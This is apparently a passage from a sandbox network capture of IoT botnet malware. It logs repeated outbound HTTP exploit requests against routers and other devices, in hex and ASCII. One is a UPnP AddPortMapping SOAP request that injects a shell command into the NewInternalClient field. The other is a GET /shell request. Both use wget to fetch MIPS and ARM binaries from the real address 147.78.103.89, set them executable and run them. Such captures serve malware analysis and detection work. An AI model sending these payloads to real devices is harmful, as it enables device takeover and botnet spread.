                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:29:06.615106106 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      96192.168.2.1541020160.151.243.785501
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:46.668817997 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive
                                                      Mar 13, 2024 16:27:47.289403915 CET273OUTGET /shell?cd+/tmp;rm+-rf+*;wget+147.78.103.89/bins/arm7;chmod+777+/tmp/arm7;sh+/tmp/arm7+Jaws HTTP/1.1
                                                      User-Agent: Hello, world
                                                      Host: 127.0.0.1:80
                                                      Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
                                                      Connection: keep-alive


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      97192.168.2.153801445.43.229.22652869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:47.715054989 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      98192.168.2.155438645.42.89.22052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:48.888283968 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:53.145241976 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:59.289046049 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:11.320709944 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 